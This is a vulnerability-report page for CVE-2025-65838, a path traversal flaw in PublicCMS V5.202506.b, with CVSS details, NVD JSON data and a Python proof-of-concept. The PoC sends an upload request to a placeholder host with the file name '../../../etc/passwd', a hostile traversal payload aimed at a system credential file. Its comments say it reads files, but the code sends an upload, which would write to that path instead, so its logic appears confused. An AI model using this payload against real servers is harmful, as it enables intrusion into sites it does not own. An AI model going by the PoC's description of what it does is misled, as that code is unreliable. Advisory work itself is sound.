Security Vulnerability Report
中文
CVE-2025-65838 CVSS 7.5 HIGH

CVE-2025-65838

Published: 2025-12-01 20:15:57
Last Modified: 2025-12-04 18:09:42

Description

PublicCMS V5.202506.b is vulnerable to path traversal via the doUploadSitefile method.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:publiccms:publiccms:5.202506.b:*:*:*:*:*:*:* - VULNERABLE
PublicCMS V5.202506.b

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import urllib.parse # CVE-2025-65838 PoC - Path Traversal in doUploadSitefile # Target: PublicCMS V5.202506.b target_url = "http://target.com/cms/admin/cmsSiteFile/doUploadSitefile.do" # Path traversal payload to read sensitive files # Using ../../../ to traverse directories payload = "../../../etc/passwd" files = { 'file': ('test.txt', 'test content', 'text/plain') } data = { 'fileName': payload, 'siteId': '1' } try: response = requests.post(target_url, files=files, data=data, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65838", "sourceIdentifier": "[email protected]", "published": "2025-12-01T20:15:57.240", "lastModified": "2025-12-04T18:09:42.143", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PublicCMS V5.202506.b is vulnerable to path traversal via the doUploadSitefile method."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:publiccms:publiccms:5.202506.b:*:*:*:*:*:*:*", "matchCriteriaId": "A4C1250A-E966-4C67-AFC2-0B73875DC061"}]}]}], "references": [{"url": "https://github.com/Hyperkopite/PublicCMS_Vulns/blob/main/RCE_1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/sanluan/PublicCMS", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/sanluan/PublicCMS/issues/101", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/Hyperkopite/PublicCMS_Vulns/blob/main/RCE_1.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/sanluan/PublicCMS/issues/101", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking"]}]}}